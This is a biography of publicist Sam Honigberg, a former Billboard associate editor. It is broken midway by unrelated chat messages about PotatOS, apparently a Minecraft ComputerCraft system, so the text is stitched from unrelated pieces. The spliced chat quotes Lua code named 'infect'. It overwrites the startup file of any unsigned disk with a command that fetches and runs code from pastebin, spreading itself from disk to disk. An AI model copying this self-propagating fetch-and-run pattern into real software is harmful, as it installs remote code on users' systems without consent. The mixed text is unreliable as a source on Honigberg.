Sam Honigberg

Sam Honigberg was once an associate editor of Billboard Magazine and then later head of a department for Frederick Brothers Artists Corp.[1] He was also a publicist who represented acts such as George Gobel, Bob Newhart, Steve Allen and the Leave It To Beaver series.[2]

Sam Honigberg
Born
Sam Honigberg

(1911-12-22)December 22, 1911
Vovkovyntsi, Derazhnyans'kyi district, Khmel'nyts'ka Oblast, Ukraine
DiedMay 17, 2007(2007-05-17) (aged 95)
Los Angeles, California
OccupationMedia correspondent, publicist

Personal background

Honigberg was born in the Ukraine. In 1926, he and his family he emigrated to the United States where they settled in Pittsburgh. He later attended the Pittsburgh University. One of his classmates was Gene Kelly.[3]

He was a longtime friend of entertainer George Gobel who had also worked for as his publicity man.[4][5] For a period of time, the Honigbergs lived in Sherman Oaks, Los Angeles.[6]

His wife Anne died at age 85 on July 1, 1999 of natural causes at Encino Hospital.[7] He died of natural causes on 17 May 2007 at age 95.[8][9]

Career

He started working as a Pittsburgh-based correspondent for The Billboard in the early 1930s. He spent ten years with the magazine, where he worked at both the New York City and Chicago offices. In his final year there he worked on the magazine's night club, cocktail and vaudeville departments. In 1943, he left to take up a position at Frederick Brothers Artists Corp in the act dept, replacing a role vacated by Freddy Williamson.[10] In 1950, he had Kenny Myers working for him at his Chicago office handling DJ promotion.[11][12]

He worked as a unit publicist for RKO, Paramount and Universal. He also worked for Rogers & Cowan for a few years.[13]

gollark: The signatures are programatically generated from the contents of the file and my private key. PotatOS has the *public* key, so it can verify that the signature was generated from the corresponding private key.
gollark: Um, no, that's not how it works.
gollark: Quick summary:- valid disks contain a signature file and a startup- the signature can be in the old table format or hexadecimal- only disks where the signature is valid for the code on them are executed
gollark: The relevant code:```lualocal function infect(disk_side) local mp = disk.getMountPath(disk_side) if not mp then return end local ds = fs.combine(mp, "startup") -- Find paths to startup and signature files local disk_ID = disk.getID(disk_side) local sig_file = fs.combine(mp, "signature") -- shell.run disks marked with the Brand of PotatOS -- except not actually, it's cool and uses load now if fs.exists(ds) and fs.exists(sig_file) then local code = fread(ds) local sig_raw = fread(sig_file) local sig if sig_raw:find "{" then sig = textutils.unserialise(sig_raw) else sig = unhexize(sig_raw) end disk.eject(disk_side) if verify(code, sig) then -- run code, but safely (via pcall) -- print output for debugging print "Signature Valid; PotatOS Disk Loading" local out, err = load(code, "@disk/startup", nil, external_env) if not out then printError(err) else local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID }) if ok then print(textutils.serialise(res)) else printError(res) end end else printError "Invalid Signature!" printError "Initiating Procedure 5." end -- if they're not PotatOS'd, write it on else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") endend```
gollark: <@151391317740486657> What key exactly?

References
  1. Pittsburgh Post-Gazette Page 20 The Drama Desk by Harold V. Cohen, Local Scrappings
  2. Variety May 21, 2007 Sam Honigberg, 95, publicist
  3. Daily Variety May 30, 2007 Sam Honigberg.(Obituary)(Brief article)
  4. Gadsen Times Monday, February 25, 1991 G2 NATIONAL Briefs, California, Entertainer George Gobel dies
  5. The Daily Reporter June 2, 1955 It's the Little Things That Can Become Irksome on TV by Wayne Oliver
  6. Valley News September 5, 1968 Page 99
  7. Variety August 6, 1999 Scene | People News Anne Honigberg
  8. Variety May 21, 2007 Sam Honigberg, 95, publicist
  9. Dead Rockstars Club 2007 January to June
  10. "Night Clubs-Vaudeville-Cocktail Combos Sam Honigberg Joins Freeederick Bros. in Chi". The Billboard: 27. 11 December 1943.
  11. "Music As-Written, Chicago:". The Billboard: 20. 8 April 1950.
  12. "Music as Written, Chicago". The Billboard: 16. 26 May 1951.
  13. Variety May 21, 2007 Sam Honigberg, 95, publicist
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